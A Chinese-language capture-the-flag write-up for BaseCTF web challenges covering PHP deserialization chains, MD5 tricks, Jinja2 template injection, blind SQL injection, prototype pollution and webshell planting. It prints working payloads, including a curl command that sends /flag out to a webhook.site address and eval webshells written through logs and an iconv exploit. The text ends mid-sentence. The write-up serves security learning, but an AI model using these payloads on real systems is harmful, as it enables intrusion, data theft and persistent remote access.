BaseCTF招新赛 Web Wp

[Week2] Really EZ POP

这道题记录一下的原因是因为这个php版本太低导致我们不能通过更改成员变量的属性来构造pop利用链,开始我就犯了这个错。不能改变属性但可以使用在类内部写入构造方法来构造链子

wp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
error_reporting(0);

class Sink
{
    private $cmd = 'echo 123;';
    public function __construct()
    {
        $this->cmd = 'system(\'cat /flag\');';
    }
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __construct()
    {
        $this->word = new Sink();
    }
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __construct()
    {
        $this->animal = new Shark();
    }
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;
    public function __construct()
    {
        $this->sea = new Sea();
    }
    public function __destruct()
    {
        echo $this->sea->see;
    }
}
$ser = new Nature();
echo urlencode(serialize($ser));

[Week2] 所以你说你懂 MD5?

这道题当时是真不会哈希长度扩展攻击,题目源码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

第一个比较可以利用传入数组,因为md5函数不能处理数组返回null,两个null自然相等

第二个比较是弱比较,我们可以利用科学计数法0e开头的字符串传参进行绕过

第三个比较用了string强制类型转换,我们可以使用工具fastcoll生成两个md5值相同的字符串,原理就是原本payload字符串中含有多种空白符号,MD5加密后hash值相等(空白符号不影响md5值)。但是我们上传参数时会自动进行一次url解码,这样过后因为空白字符两个url就不相等了,从而成功绕过,也可以上网找一些相等的,我这里给出一组

1
2
3
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

后面的知识就涉及到哈希长度拓展攻击了

参考文章: https://luoingly.top/post/md5-length-extension-attack/

https://wiki.wgpsec.org/knowledge/ctf/Hash-Leng-Extension.html

全局变量random长度为96

image-20240912194345475

而name由我们传入可控,后面还会和md5($random)拼接,我们可以构造payload进行填充让新建一个分组包含后面需要验证的admin

image-20240912194501769

image-20240912194643351

这里使用工具生成了,我是菜比

先输入random的文本长度,然后是random的hash,最后是我们希望拓展的字符串

image-20240912194812065

生成后选择url编码一次的payload,浏览器会自动对我们传递的参数进行一次解码。

然后再传入新的hash,虽然字符串上看起来不一样,但在md5分组运算的时候是一样的,所以两个md5判断为相等,由此拿到flag

image-20240912195117038


[Week2] 你听不到我的声音

这道题是一个无回显的RCE利用,方法有很多种

  1. 重定向到文件

导入到txt文件我们就可以进行访问了

1
cat/cp/mv /flag > 1.txt

image-20240912203112250

  1. 利用curl命令和[webhook](Webhook.site - Test, transform and automate Web requests and emails)进行信息外带出flag

payload

1
curl https://webhook.site/44f66666-8c8a-47bd-978a-84f7a596c7ff/`cat /flag | base64`

image-20240912202923617

image-20240912202934575

  1. 直接写马

写马, 用 wget, curl 下载木马然后webshell管理工具连接


[Week2] 数学大师

这道题我就只贴脚本了

我的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import re
import requests

s = requests.Session()  # 使用Session对象
url = 'http://challenge.basectf.fun:37945/'


res = s.get(url=url)    #get请求如果放到循环体相等于打开五十个页面了,我们只需在循环体里更新用于匹配计算式的文本即可
string = res.text

for i in range(50):
        # 提取算术表达式
        pattern = r'second ([\d×÷+-/]+)'
        matches = re.findall(pattern, string)

        expression = matches[0].replace('×', '*').replace('÷', '/')
        # 计算表达式
        result = int(eval(expression))
        r = s.post(url=url, data={'answer': result})
        print(r.text)
        # 更新页面内容
        string = r.text

官方wp的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re

req = requests.session()
url = "http://challenge.basectf.fun:24989/"

answer = 0
while True:
    response = req.post(url , data={"answer": answer})
    print(response.text)
    if "BaseCTF" in response.text:
        print(response.text)
        break
    regex = r" (\d*?)(.)(\d*)\?"
    match = re.search(regex, response.text)
    if match.group(2) == "+":
        answer = int(match.group(1)) + int(match.group(3))
    elif match.group(2) == "-":
        answer = int(match.group(1)) - int(match.group(3))
    elif match.group(2) == "×":
        answer = int(match.group(1)) * int(match.group(3))
    elif match.group(2) == "÷":
        answer = int(match.group(1)) // int(match.group(3))

[Week3] 复读机

这道题是ssti,模版引擎应该是jinja2,这里它必须以BaseCTF开头所以不能直接使用fengjing了。

还过滤了双花括号,点和双引号和下划线

寻找可用子类

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']())%}

image-20240912204346922

寻找一个含os模块能RCE的类,我这里懒得写脚本直接用Notepad++将逗号替换为换行符找到该模块的位置为137

image-20240912204530622

继续构造继承链查看当前作用域中的全局变量

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_'])%}

发现Popen方法,可以用它执行命令再用read()读取即可

image-20240912205307818

构造payload

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('id')['rea''d']())%}

执行成功

image-20240912205546055

但是发现根号被ban了,这里我开始只想到${PATH:0:1},后面一位大佬研究处${HOME%%root}

一般HOME目录都在/root下

image-20240912205752499

所以可构造payload查看flag

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cat ${HOME%%root}flag')['rea''d']())%}

后面查看该系统环境变量存在一个为根号的环境变量

image-20240912205859146

构造payload

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

image-20240912210153249


[Week3] 滤个不停

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
    die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
    if (strpos($Datch, $char) === false) {//意思是必须在$Datch中找到上面所有字母
        $is_valid = false;
        break;
    }
}

if ($is_valid) {

    $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

    foreach ($invalid_patterns as $pattern) {
        if (stripos($Datch, $pattern) !== false) {
            die('此路不通换条路试试?');
        }
    }


    include($Datch);
} else {
    die('文件名不合规 请重试');
}
?>

我们要实现文件包含,但是一堆伪协议都被过滤掉了,没法绕过!

后面查找资料发现这里可以用Nginx日志写入webshell

日志路径为

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

利用access.log中User-Agent写入一句话木马,然后post里面传递参数执行命令

8a94c7fc2a74d0201eebfb2560d22fa3


[Week4] No JWT

源码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')

    # 其他用户都给予 user 权限
    token = jwt.encode({
            'sub': username,
            'role': 'user',  # 普通用户角色
            'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
        }, app.secret_key, algorithm='HS256')
    return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
    token = request.headers.get('Authorization')
    
    if token:
        try:
            decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
            # 检查用户角色是否为 admin
            if decoded.get('role') == 'admin':
                with open('/flag', 'r') as f:
                    flag_content = f.read()
                return jsonify({'flag': flag_content}), 200
            else:
                return jsonify({'message': 'Access denied: admin only'}), 403
            
        except FileNotFoundError:
            return jsonify({'message': 'Flag file not found'}), 404
        except jwt.ExpiredSignatureError:
            return jsonify({'message': 'Token has expired'}), 401
        except jwt.InvalidTokenError:
            return jsonify({'message': 'Invalid token'}), 401
    return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
    app.run(debug=True)

发现/login和/flag两个路由,先去login路由查看一下

post方式访问,修改为json请求并传递json数据发现一串token

image-20240912213928943

[jwt解密网站](JSON Web Tokens - jwt.io)解析一下token,flag路由检验身份必须为admin,我们修改即可

image-20240912214249462

因为源码从headers中Authorization接受数据,我们手动添加一个

image-20240912214422838

又因为如下原因

在HTTP请求中,Authorization头部用于提供访问受保护资源所需的凭证。Bearer是认证的一种方式,它表示该请求中包含一个访问令牌(access token),这个令牌用于授权用户访问受保护的资源。

具体来说,Authorization头部的格式为:

1
Authorization: Bearer <access_token>

其中,Bearer关键字告诉服务器,接下来的 <access_token> 是一个令牌,用于授权请求。Bearer 认证方式是OAuth 2.0标准的一部分,用于实现无状态的访问控制,令牌通常由身份验证服务器颁发,并在请求中传递,用于验证用户身份和权限。

总的来说,Bearer前缀的作用是明确标识令牌的类型,告诉服务器如何处理和验证这个令牌。

所以我们构造出如下数据包即可获得flag

image-20240912214738658


[Week3] ez_php_jail

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
    if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
        return false;
    }
    return true;
}

if (Like_Jail($Jail)) {
    eval($Jail);
    echo "Yes! you escaped from the jail! LOL!";
} else {
    echo "You will Jail in your life!";
}
echo "\n";
// HTML解析后再输出PHP源代码
?>

首先解决传参的问题,数据包中发现本题是php7,我们可以利用PHP的字符串解析特性Bypass

当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _

例子:?Jail[by.Happy==?Jail_by.Happy

接着定义了一个函数Like_Jail过滤了`,$,a,c,s,require,include,并且忽略大小写。

后面就是想办法绕过过滤打印flag,我想了下能够执行系统命令的system,shell_exec,exec都过不了过滤,只能尝试用php函数来进行读取。

在源码中注释提示// 在HTML解析后再输出PHP源代码。找了找有这几个函数highlight_file(),highlight_string(),show_source()可以直接输出到浏览器。但是后两个过不了过滤,第一个可以

又因为highlight_file函数需要指定准确的文件路径和flag的a被过滤,所以我们无法直接利用。先利用glob函数获取flag的文件名(没过滤的话就用scandir了!)

glob函数返回一个包含有匹配文件或目录的数组

image-20240918193557204

print_r打印出匹配到以fl开头的文件只有flag一个

image-20240918193546159

构造payloadhighlight_file(glob('/fl*')[0]);

image-20240918195147853


[Week3] 玩原神玩的

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管,我要玩原神!😭😭😭");
  }
  dumpFlag();
}

function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人!😡😡😡");
  }
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了?肯定是某忽悠干的!😡😡😡");
  }
  include 'flag.php';
  $flag[] = array();
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }
  
  echo json_encode($flag);
} 错了!就你还想玩原神?❌❌❌

解决思路

  1. 满足len的长度检查:我们需要提交一个len数组,使其长度与$array相同。

  2. 正确的tip参数:在GET请求中传递tip=“我要玩原神”,以通过ys_open的检查。

  3. 构造正确的m参数:m[0]必须为"100%",而m[1]则为"love100%“加上m[0]的MD5哈希。

  4. 先来猜出$array的元素个数吧

用下面脚本生成字典

1
2
3
4
5
s = ""
with open("./2.txt", "w") as file:
    for i in range(100):
        s = s + "len[" + str(i) + "]=1&"
        file.write(s[:-1] + "\n")

image-20240918203804582

burp爆破得出$array数组元素个数为45

image-20240918210435300

payload为len[0]=1&len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1

绕过接下来两个

image-20240918214031594

最后这一步中因为PHP中ord函数只取一个字符串的首字母的ascii值,这个值肯定在0-255之间。我们可以通过爆破的方式来通过md5值的比较找出正确的字符

image-20240918214105653

脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$md5 = ["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","66f041e16a60928b05a7e228a89c3799","642e92efb79421734881b53e1e1b18b6","a3c65c2974270fd093ee8a9bf8ae7d0b","9f61408e3afb633e50cdf1b20de6f466","72b32a1f754ba1c09b3695e0cb6cde7f","093f65e080a295f8076b1c5722a46aa2","a97da629b098b75c294dffdc3e463904","093f65e080a295f8076b1c5722a46aa2","7f39f8317fbdb1988ef4c628eba02591","e369853df766fa44e1ed0ff613f563bd","c45147dee729311ef5b5c3003946c48f","eb160de1de89d9058fcb0b968dbbbd68","a5771bce93e200c36f7cd9dfd0e5deaa","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","eb160de1de89d9058fcb0b968dbbbd68","d645920e395fedad7bbbed0eca3fe2e0","a0a080f42e6f13b3a2df133f073095dd","b53b3a3d6ab90ce0268229151c9bde11","a0a080f42e6f13b3a2df133f073095dd","da4fb5c6e93e74d3df8527599fa62642","d9d4f495e875a2e075a1a4a6e1b9770f","d9d4f495e875a2e075a1a4a6e1b9770f","c0c7c76d30bd3dcaefc96f40275bdc0a","c74d97b01eae257e44aa9d5bade97baf","735b90b4568125ed6c3f678819b6e058","7cbbc409ec990f19c78c75bd1e06f215","6f4922f45568161a8cdf4ad2299f6d23","6ea9ab1baa0efb9e19094440c317e21b","e2c420d928d4bf8ce0ff2ec19b371514","a3f390d88e4c41f2747bfa2f1b5f87db","c16a5320fa475530d9583c34fd356ef5","c16a5320fa475530d9583c34fd356ef5","28dd2c7955ce926456240b2ff0100bde","d2ddea18f00665ce8623e36bd4e3c7c5","6ea9ab1baa0efb9e19094440c317e21b","43ec517d68b6edd3015b3edc9a11367b"];
$flag = "";

for ($i=0;$i<count($md5);$i++){
    for ($j=0;$j<256;$j++){
        $xor_result = $j ^ $i;
        $cal_md5 = md5($xor_result);
        if ($cal_md5 === $md5[$i]){
            $flag .= chr($j);
            break;
        }
    }
}
echo "得到flag为:".$flag;

image-20240918214306766


[Week4] only one sql

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

此题不能用select,可以通过show databases和show tables查库名和表名,后面发现题目注释里面其实写了//flag in ctf.flag,在ctf库的flag表中

直接利用show columns查看到flag表的字段,估计就在data里面。这里不能用select,我们可以尝试delete进行盲注

image-20240919105013046

贴一下官方的wp,是真的简洁高效啊,这就是我和大佬的差距吗

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import requests
import string

sqlstr = string.ascii_lowercase + string.digits + '-' + "{}"
url = "http://your.website/?sql=delete%20from%20flag%20where%20data%20like%20%27"
end="%25%27%20and%20sleep(5)"
flag=''
for i in range(1, 100):
    for c in sqlstr:
        payload = url +flag+ c + end
        try:
            r = requests.get(payload,timeout=4)
        except:
            print(flag+c)
            flag+=c
            break

经过查表和对flag格式的了解,flag的内容就在小写字母,数字和这几个符号之间,生成一个列表进行枚举

image-20240919105417069

我的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
list = ['-']
for i in range(97,127): #小写字母和符号
    list.append(chr(i))
for i in range(48,58):  #数字
    list.append(chr(i))
# print(list)
#delete from flag where data like 'f%' and sleep(3)--
url = "http://challenge.basectf.fun:27082/?sql=delete from flag where data like '"
end = "%' and sleep(3)--"
flag = ""
for x in range(100):
    for j in list:
        start_time = time.time()
        payload = url + flag + j + end
        res = requests.get(payload)
        use_time = time.time() - start_time
        if use_time >= 3:
            flag += j
            print(flag)

image-20240919120747933


[Fin] 1z_php

这道题考察原生类(读取文件类SplFileObject)和PCRE回溯

脚本

1
2
3
4
import requests
payload = "http://challenge.basectf.fun:28522/?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString"
res = requests.post(payload,data={"try":"a"*1000001 + "HACKER"})
print(res.text)

image-20240919125412587

image-20240919125422502


[Fin] Back to the future

此题纯粹靠一款工具,我仔细看了一下,比我之前用的githack强太多了!

3d5a4b0a90e5f04e5ad62fb22f82a6aa

1292f3fe51165928b09c40214ac8c88f

  1. 提取仓库文件

githacker --url http://challenge.basectf.fun:42682/.git/ --output-folder C:\Users\xxx\Desktop\result

  1. 查看提交日志

git log

  1. 切换到含flag的提交

git checkout 9d85f10e0192ef630e10d7f876a117db41c30417

恢复出来

image-20240919155701208


[Fin] Jinja Mark

flag路径下看到提示爆破出幸运数字为5346

image-20240919170753741

可用以下脚本生成字典

1
2
3
4
with open(r'c:\Users\天\Desktop\3.txt','w') as f:
    for i in range(10000):
        f.write(f"{i:04}"+"\n")
print("successful~")

拿到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            return "这个魔术还行吧"
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"

代码里面有merge函数,基本存在python原型链污染了,结合开头ban了左右花括号,我们可以尝试利用原型链污染来修改jinja2模版的属性,直接将变量取值方式改为«»从而绕过花括号的过滤

将以下json数据传入经json.loads后成功修改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
  "__init__": {
    "__globals__": {
      "app": {
        "jinja_env": {
          "variable_start_string": "<<",
          "variable_end_string": ">>"
        }
      }
    }
  }
}

回到index目录下进行常规ssti即可

这里我尝试了几个模块,其实方法都差不多,不过subprocess.Popen这个类本身就能够执行命令

  1. warnings.catch_warnings
1
<<''.__class__.__mro__[1].__subclasses__()[222].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")>>
  1. subprocess.Popen
1
<<[].__class__.__mro__[1].__subclasses__()[351]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()>>
  1. os._wrap_close
1
<<[].__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read()>>

[Fin] Just Readme (前置)

使用这个项目打glibc的iconv()函数将文件读取变成rce

将data后改为.text,不然无法正常输出

image-20240920110616225

payloadpython3 cnext-exploit.py http://challenge.basectf.fun:34357/ "echo '<?=@eval(\$_POST[0]);?>' > shell.php"

image-20240920110601171

image-20240920110712772

蚁剑连接执行文件即可

image-20240920111821314


[Fin] Lucky Number

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            result = heaven.create()
            message = result["message"]
            return "这个魔术还行吧
" + message
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
    if confirm and "lucky_number" not in create.__kwdefaults__:
        return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
    if confirm and "lucky_number" in create.__kwdefaults__:
        return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

    return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

解题重点是这两个属性

image-20240920165353562

怎么导入sys模块呢,看了官方wp才知道在python中存在着**spec内置属性,包含了关于类加载时的信息,定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>.spec.init.globals[‘sys’]**获取到sys模块,此处导入了json模块就可以使用json模块获取

payload,拿去json格式化一下即可

1
{"__init__":{"__globals__":{"json":{"__sepc__":{"__init__":{"__globals__":{"sys":{"modules":{"heaven":{"create":{"__kwdefaults__":{"confirm":"true","lucky_number":"5346"}}}}}}}}}}}}

传参后提示去/check检查一下

image-20240920172419635

检查成功了,去对应目录ssti

image-20240920172453507

这里利用os._wrap_close中的popen方法直接执行命令即可,模块方法有很多

image-20240920172618248


[Fin] ez_php

这道题出现了很多新知识,比如引用绕过,php GC回收攻击,mb_substr,mb_strpos字符串逃逸,理解清楚后算是收益颇丰,参考文章:

()[ctfshow_XGCTF_西瓜杯 | 晨曦的个人小站 (chenxi9981.github.io)]

()[(ฅ>ω<*ฅ) 噫又好啦 ~php反序列化 | 晨曦的个人小站 (chenxi9981.github.io)]

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
highlight_file(__file__);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker!';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}

if(isset($_GET['ez_ser.from_you'])){
    $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
    if(preg_match("/\[|\]/i", $_GET['substr'])){
        die("NONONO!!!");
    }
    $pre = isset($_GET['substr'])?$_GET['substr']:"substr";
    $ser_ctf = substrstr($pre."[".serialize($ctf)."]");
    $a = unserialize($ser_ctf);
    throw new Exception("杂鱼~杂鱼~");
}
  1. 首先便是构造pop利用链,这道题的是比较好构造的,有个以前不知道的知识点是__get方法中

如果你没有为 t 属性赋值,或者将其设置为 null,那么在调用 $this->t->t 时将会抛出一个错误,因为你尝试在一个 null 值上访问属性

以前只知道访问不可访问属性和未定义成员变量可以触发,其实没赋值定义访问属性也能触发

到Hacker类前这么构造即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$s1 = new R();
$s1->r = "system('cat /flag');";
$s2 = new E();
$s2->e = $s1;
$s3 = new F();
$s3->f = $s2;
$s4 = new T();
$s4->t = $s3;
$s5 = new C();
$s5->c = $s4;

然后Hacker类中绕过__wakeup方法,因为下面还有个赋值操作$this->end = $this->start,我们可以引用赋值来绕过

1
2
$s6->end = &$s6->username;
$s6->start = $s5;

到这利用链已经基本构造完了,注意源码中还有句throw new Exception("杂鱼~杂鱼~");抛出异常会导致__destruct析构方法无法执行从而导致反序列化过程失败

绕过抛出异常就需要利用到PHP的GC垃圾回收机制,我举个例:本地开个php服务器执行以下代码进行测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
highlight_file(__FILE__);
$flag = "flag{test_flag}";

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}
$a = unserialize($_GET['ctf']);
throw new Exception('nonono');

构造一个payload

image-20240921164210557

传入后发现提前执行了析构方法echo $flag,利用成功

image-20240921164315257

生成payload后别忘了手动将键名2改为1,不能直接写两个1,这样会导致value直接变为null

1
$s7 = array('1'=>$s6,'2'=>null);

最后就是substrstr函数,看似返回中括号内容和下文一致没什么错误

1
2
3
4
5
6
7
8
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
                  --------------- ---
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");                   

实际上生成的数据没有中括号而且前面还有三十八位无效数据影响反序列化

image-20240921165521033

本地尝试发现序列化数据被截取后是无法执行的

image-20240921170146075

关于mb_strpos和mb_substr的知识,

1
2
3
4
5
6
